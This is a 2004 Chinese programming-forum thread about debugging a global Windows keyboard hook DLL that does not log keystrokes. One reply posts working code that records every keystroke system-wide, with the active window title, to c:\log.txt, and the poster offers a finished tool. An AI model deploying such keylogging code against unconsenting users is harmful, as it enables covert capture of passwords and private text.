我的键盘钩子怎么截获不到消息啊?

oyljerry 2004-08-12 07:01:12
我的键盘钩子怎么不能截获到键盘的操作啊?
dll代码:
#pragma data_seg(".SHARDAT")
static HHOOK hkb=NULL;
#pragma data_seg()
HINSTANCE hins;

BOOL __declspec(dllexport)__stdcall installhook()
{
hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,0);
return TRUE;
}

BOOL __declspec(dllexport)__stdcall unstallhook()
{
if(hkb!=NULL)
UnhookWindowsHookEx((HHOOK)hkb);
return TRUE;

}

LRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
if(((DWORD)lParam&0x80000000) && (HC_ACTION==nCode))
{
char c[1];
switch(wParam) //键盘按键标识
{
case '1':{ c[0]=1; SaveLog(c); break; } //当数字键1被按下,记录
case '2':{ c[0]=2; SaveLog(c); break; }
case '3':{ c[0]=3; SaveLog(c); break; }
case '4':{ c[0]=4; SaveLog(c); break; }

case 'A':{ c[0]='A'; SaveLog(c); break; } //当字母键A
case 'B':{ c[0]='B'; SaveLog(c); break; }
case 'C':{ c[0]='C'; SaveLog(c); break; }
case 'D':{ c[0]='D'; SaveLog(c); break; }
}
}
LRESULT RetVal = CallNextHookEx( hkb, nCode, wParam, lParam );
return RetVal;
}

进程代码:
static HINSTANCE hinstDLL;

void CTestdlgDlg::OnStarthook() //开始按钮代码
{
// TODO: Add your control notification handler code here
CreateMutex(NULL, FALSE, "testdlg");
if(GetLastError()==ERROR_ALREADY_EXISTS)
MessageBox("错误");

//读取DLL

typedef BOOL (CALLBACK *inshook)();
inshook instkbhook;
if(hinstDLL=LoadLibrary((LPCTSTR)"hookdll.dll"))
{
instkbhook=(inshook)GetProcAddress(hinstDLL,"installhook");
instkbhook();
}
else
{
MessageBox("当前目录找不到Hook.dll文件,程序初始化失败");
}
}

void CTestdlgDlg::OnStophook() //停止按钮
{
// TODO: Add your control notification handler code here
typedef BOOL (CALLBACK *unshook)();
unshook unstkbhook;
unstkbhook=(unshook)GetProcAddress(hinstDLL,"unstallhook");
unstkbhook();
FreeLibrary(hinstDLL);
}

为什么我按了开始按钮后,然后在键盘上有一系列的操作后,我的记录文件中并没有任何记录呢?
谢了先!!
...全文
348 14 打赏 收藏 转发到动态 举报
写回复
用AI写文章
14 条回复
切换为时间正序
请发表友善的回复…
发表回复
oyljerry 2004-08-15
  • 打赏
  • 举报
回复
呵呵,我又调了一下,发现一个有意思的现象,就是我把记录文件放到c盘下面时,能记录到信息,但放到别的位置好像就记录不到任何信息,好像我的问题就是这个原因吧!
oyljerry 2004-08-14
  • 打赏
  • 举报
回复
to wuangle(要长翅膀的小虫):我看过那个例子了,可还是不知道问题出在哪里?
to brainholmes(我是大头蒜) :你的方法我也用了,可还是没有记录。
多谢二位,我的问题到底在哪里呢??
brainholmes 2004-08-14
  • 打赏
  • 举报
回复
这个是我用的 肯定保证能用
brainholmes 2004-08-14
  • 打赏
  • 举报
回复
#pragma data_seg("shareddata")
static HHOOK Hook=NULL;
TCHAR Content[SENDBUF+100]="";
TCHAR Temp[SENDBUF+100]="";
char CurWin[100]="";
char PriWin[100]="";
static HWND hCurWin=NULL;
#pragma data_seg()
#pragma comment(linker,"/section:shareddata,rws")
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
//
if(nCode==HC_ACTION)
{
if(lParam & 0xc0000000)//键盘按下 up.0x80000000
{
//窗口判定
hCurWin=::GetActiveWindow();
::GetWindowText(hCurWin,CurWin,100);
if(strcmp(CurWin,PriWin)!=0)
{
::GetWindowText(hCurWin,PriWin,100);
strcat(Content,"\n<");
strcat(CurWin,">\n");
strcat(Content,CurWin);
}
char ch[2];
if(wParam==VK_RETURN)
{
strcat(Content,"[enter]");
}
else if(wParam==VK_SPACE)
{
strcat(Content,"[space]");
}
else if(wParam==VK_BACK)
{
strcat(Content,"[backspace]");
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan;
scan=0;
ToAscii(wParam,scan,ks,&w,0);
ch[0]=char(w);
ch[1]='\0';
if(strcmp(ch,"&")==0)
strcpy(ch,"&");
strcat(Content,ch);
}
int count;
count=strlen(Content);
if(count>=SENDBUF)//define it
{
//替换并清空单元
for(int j=0;j<SENDBUF+100;j++)
{
Temp[j]=Content[j];
Content[j]='\0';
}

FILE *fp;
fp=fopen("c:\\log.txt","a+");
fputs(Temp,fp);
fclose(fp);
}
}
}
LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
return Result;
}
brainholmes 2004-08-14
  • 打赏
  • 举报
回复
我有自己做好的 你如果想要的话 就发消息给我
wuangle 2004-08-14
  • 打赏
  • 举报
回复
http://www.vckbase.com/document/viewdoc/?id=271
这里有个实例,你可以看看
brainholmes 2004-08-14
  • 打赏
  • 举报
回复
既然这样 你就用用这个
char ch[1];
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan;
scan=0;
ToAscii(wParam,scan,ks,&w,0);
ch[0]=char(w);
oyljerry 2004-08-13
  • 打赏
  • 举报
回复
to brainholmes(我是大头蒜):我的钩子只截获键盘上的1,2,3,4等常规按键啊,因而不需要define了吧
to Raceman35(伏地魔) 我把数组改为两个字节(char c[2];),还是没有输入啊。
to holyeagle(一杯清茶):去掉lParam&0x80000000还是不行
我得savelog实现如下:
void SaveLog(char* c)
{
CFile file;
if(!file.Open("Key.txt",CFile::modeReadWrite))
{
file.Open("Key.txt",CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(c,1);
file.Close();
}
我把数组放到共享段里面,也不行,如下:
#pragma data_seg("shareddata")
static HHOOK hkb=NULL;
static char c[2]={NULL,NULL};
#pragma data_seg()
holyeagle 2004-08-12
  • 打赏
  • 举报
回复
lParam&0x80000000拿掉试试看.
另外,savelog如何实现,是否有全局变量,需要放到共享段里面
PuzzleFan 2004-08-12
  • 打赏
  • 举报
回复
你存放结果的数组c[1]只有一个字节

可是SaveLog(c)的输入参数是\0结尾的字符串,至少两个字节呀!



char c[1];
switch(wParam) //键盘按键标识
{
case '1':{ c[0]=1; SaveLog(c); break; } //当数字键1被按下,记录
brainholmes 2004-08-12
  • 打赏
  • 举报
回复
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan;
scan=0;
ToAscii(wParam,scan,ks,&w,0);
ch[0]=char(w);
brainholmes 2004-08-12
  • 打赏
  • 举报
回复
WPARAM要求传入 vitual key
你的define了?

符号常量 十六进制值 指定的鼠标或键盘按键
VK_LBUTTON 01 鼠标左键
VK_RBUTTON 02 鼠标右键
VK_CANCEL 03 Control-break 过程
VK_MBUTTON 04 鼠标中键
VK_BACK 08 BACKSPACE 键
VK_TAB 09 TAB 键
VK_CLEAR 0C CLEAR 键
VK_RETURN 0D ENTER 键
VK_SHIFT 10 SHIFT 键
VK_CONTROL 11 CTRL 键
VK_MENU 12 ALT 键
VK_PAUSE 13 PAUSE 键
VK_CAPITAL 14 CAPS LOCK 键
VK_ESCAPE 1B ESC 键
VK_SPACE 20 SPACEBAR
VK_PRIOR 21 PAGE UP 键
VK_NEXT 22 PAGE DOWN 键
VK_END 23 END 键
VK_HOME 24 HOME 键
VK_LEFT 25 LEFT ARROW 键
VK_UP 26 UP ARROW 键
VK_RIGHT 27 RIGHT ARROW 键
VK_DOWN 28 DOWN ARROW 键
VK_SELECT 29 SELECT 键
VK_EXECUTE 2B EXECUTE 键
VK_SNAPSHOT 2C PRINT SCREEN键(用于Windows 3.0及以后版本)
VK_INSERT 2D INS 键
VK_DELETE 2E DEL 键
VK_HELP 2F HELP键
/////////////////////
对于非小键盘上的数字键和字母键,直接在单引号中加入该键就行.
比如: a 键: 'A'
1 键: '1'
/////////////////////////////////
VK_LWIN 5B Left Windows 键 (Microsoft自然键盘)
VK_RWIN 5C Right Windows 键 (Microsoft自然键盘)
VK_APPS 5D Applications 键 (Microsoft自然键盘)
VK_NUMPAD0 60 数字小键盘上的 0 键
VK_NUMPAD1 61 数字小键盘上的 1 键
VK_NUMPAD2 62 数字小键盘上的 2 键
VK_NUMPAD3 63 数字小键盘上的 3 键
VK_NUMPAD4 64 数字小键盘上的 4 键
VK_NUMPAD5 65 数字小键盘上的 5 键
VK_NUMPAD6 66 数字小键盘上的 6 键
VK_NUMPAD7 67 数字小键盘上的 7 键
VK_NUMPAD8 68 数字小键盘上的 8 键
VK_NUMPAD9 69 数字小键盘上的 9 键
VK_MULTIPLY 6A Multiply 键
VK_ADD 6B Add键
VK_SEPARATOR 6C Separator 键
VK_SUBTRACT 6D Subtract 键
VK_DECIMAL 6E Decimal 键
VK_DIVIDE 6F Divide 键
VK_F1 70 F1 键
VK_F2 71 F2 键
VK_F3 72 F3 键
VK_F4 73 F4 键
VK_F5 74 F5 键
VK_F6 75 F6 键
VK_F7 76 F7 键
VK_F8 77 F8 键
VK_F9 78 F9 键
VK_F10 79 F10 键
VK_F11 7A F11 键
VK_F12 7B F12 键
VK_F13 7C F13 键
VK_F14 7D F14 键
VK_F15 7E F15 键
VK_F16 7F F16 键
VK_F17 80H F17 键
VK_F18 81H F18 键
VK_F19 82H F19 键
VK_F20 83H F20 键
VK_F21 84H F21 键
VK_F22 85H F22 键
VK_F23 86H F23 键
VK_F24 87H F24 键
VK_NUMLOCK 90 NUM LOCK 键
VK_SCROLL 91 SCROLL LOCK 键
VK_ATTN F6 Attn 键
VK_CRSEL F7 CrSel 键
VK_EXSEL F8 ExSel 键
VK_EREOF F9 Erase EOF 键
VK_PLAY FA Play 键
VK_ZOOM FB Zoom 键
VK_OEM_CLEAR FE Clear 键
举例说明这些键的用法:
(一)响应单独的按键:
先添加PreTranslateMessage()(响应WM_CHAR)也是同样的效果,因为本例只捕捉键盘)
BOOL CMydilog::PreTranslateMessage(MSG* pMsg)
{
if (pMsg- >message == WM_KEYDOWN)
{
if(pMsg- >wParam=='M')//直接用上面的虚码代替就可以响应所指键
MessageBox( "hello ");//如果按下M键弹出消息.
}
return CDialog::PreTranslateMessage(pMsg);
}
(二)组合键的用法:(本例响应Ctrl+X键)
BOOL CMydilog::PreTranslateMessage(MSG* pMsg)
{
if (pMsg- >message == WM_KEYDOWN)
{
switch (pMsg- >wParam)
{
case VK_ESCAPE:
SetFocus ();
return TRUE;
case 'X':
if(::GetKeyState(VK_CONTROL) < 0
MessageBox( "hello ");
return TRUE;
}
}
return CDialog::PreTranslateMessage(pMsg);
}
oyljerry 2004-08-12
  • 打赏
  • 举报
回复
我也用了if(((DWORD)lParam&0x40000000) && (HC_ACTION==nCode))
好像还是不行。
savdlog函数如下:
void SaveLog(char* c)
{
CFile file;
if(!file.Open("Key.txt",CFile::modeReadWrite))
{
file.Open("Key.txt",CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(c,1);
file.Close();
}
落入凡间的猪 2004-08-12
  • 打赏
  • 举报
回复
你换这个试一下if(((DWORD)lParam&0x40000000) && (HC_ACTION==nCode))

另外确保SaveLog(c)函数是正确的
又一个delphi键盘钩子用法及代码,可以截获几乎所有键值,例如:shift ?,ctrl ?,alt ?,F1~F12,shift或者ctrl或者alt F1~F12,单独的 shift、ctrl、alt 键值,特殊键ins、del、caps lock、num lock、小键盘数字 等等,你只要稍作修改,也可以截获 ctrl alt ?等键值,没有截获不到的键值,本程序不使用dll方式,使用常规方式,方便你编译调试修改,支持xp、vista、win7,是最强悍的键盘钩子控件, 在delphi7下通过。   myshiftchar:string;//返回shift状态 例如 ctrl   mypresschar:string;//返回整个键值 例如 ctrl g   dulictrl:string;//返回 ctrl 和 alt 单独状态, =ctrl or =alt   安装方法:   本控件的核心源代码在 unit2   首先 创建调用主窗体,假定是form1,在form1上放一个 memo控件(必须),然后创建一个新单元 如unit2,把我的unit2 单元的源代码全部复制过去,做以下修改,首先确保form1使用 新单元 如unit2,并且unit2也使用form1。   在新单元unit2中 ,找到 函数 function KeyBHkHandle 过程,在其中找到以下两条语句:    // 在这里根据自己的情况修改    form1.Memo1.Lines.Add(mypresschar);   // 在这里根据自己的情况修改    if mypresschar'' then form1.Memo1.Lines.Add(mypresschar);   如果你的调用主窗体就叫form1,则不用修改,否则把这两条语句的form1修改为你的调用主窗体的名字。   在 memo编辑框的onChange事件中编写自己的 键盘消息接受主控制过程,其中 字符串mypresschar 返回总键值,它跟memo编辑框中显示值是一样的 ,例如 g、shift g、ctrl 2、F9、alt F9、 等等,其中 字符串shiftstr 返回 控制键 shift ctrl alt 的状态,例如按下ctrl,则 shiftstr=‘ctrl’ ,否则=''。   最后不要忘记在程序退出时卸载键盘钩子
Hook(钩子)并不是一项很难的技术,但对于初学者来说还是一个不小的门槛。为此,我将鼠标Hook做成了一个可视化的控件,通过简单的设置几个属性,就可以截获或跟踪其它应用程序的鼠标动作。**********控件介绍:【属性】1.Blocked: Boolean;确定是截获还是跟踪鼠标动作,True对应截获,False对应跟踪。默认值为False2.HookedExeName: string;指定被Hook的应用程序名称。为空时对所有的应用程序起作用。默认值为空3.Active: Boolean;是否处于Hook状态,只读。4.DllName: string;Mouse钩子的dll名称,默认为MouseHook.dll,只读。5.DLLLoaded: Boolean;MouseHook.dll是否被加载,只读。【方法】1.function Start: Boolean;开始Hook2.procedure Stop;停止Hook【事件】 WM_LBUTTONDBLCLK, WM_LBUTTONDOWN, WM_LBUTTONUP, WM_RBUTTONDBLCLK, WM_RBUTTONDOWN, WM_RBUTTONUP, WM_MBUTTONDBLCLK, WM_MBUTTONDOWN, WM_MBUTTONUP, WM_NCLBUTTONDBLCLK, WM_NCLBUTTONDOWN, WM_NCLBUTTONUP, WM_NCRBUTTONDBLCLK, WM_NCRBUTTONDOWN, WM_NCRBUTTONUP, WM_NCMBUTTONDBLCLK, WM_NCMBUTTONDOWN, WM_NCMBUTTONUP, WM_MOUSEMOVE, WM_MOUSEWHEEL, WM_NCMOUSEMOVE, WM_MOUSEACTIVATE, WM_NCHITTEST, WM_CAPTURECHANGED我处理了如上的鼠标事件,注意其中有几个事件我在测试时发现无法Hook,它们为WM_MBUTTONDBLCLK,WM_NCMBUTTONDBLCLK,WM_MOUSEACTIVATE,WM_NCHITTEST,WM_CAPTURECHANGED建议:不要将HookedExeName:=''; 和 Blocked:=True; 同时设置**********【使用说明】1.首先安装“鼠标Hook控件”目录下的控件2.必须将mousehook.dll拷贝到你开发的应用程序目录下,或系统目录下,如system32【多说几句】1.我提供了一个名为test.exe的demo,该例子是对notepad.exe进行Hook的,因此,使用前先启动notepad.exe,再点击界面上的“开始”,否则会提示“找不到指定的进程”!2.你可以参考我的控件设计模式来设计自己的Hook控件,如键盘Hook。3.本来想写一个组件包的,其中包括各种Hook控件,以及读写端口的控件,以方便初学者的使用,可是要些论文,以后再说吧。 黄晓斌 hxb_leiyuan2000@163.net QQ:478522325

15,471

社区成员

发帖
与我相关
我的任务
社区描述
VC/MFC 进程/线程/DLL
社区管理员
  • 进程/线程/DLL社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧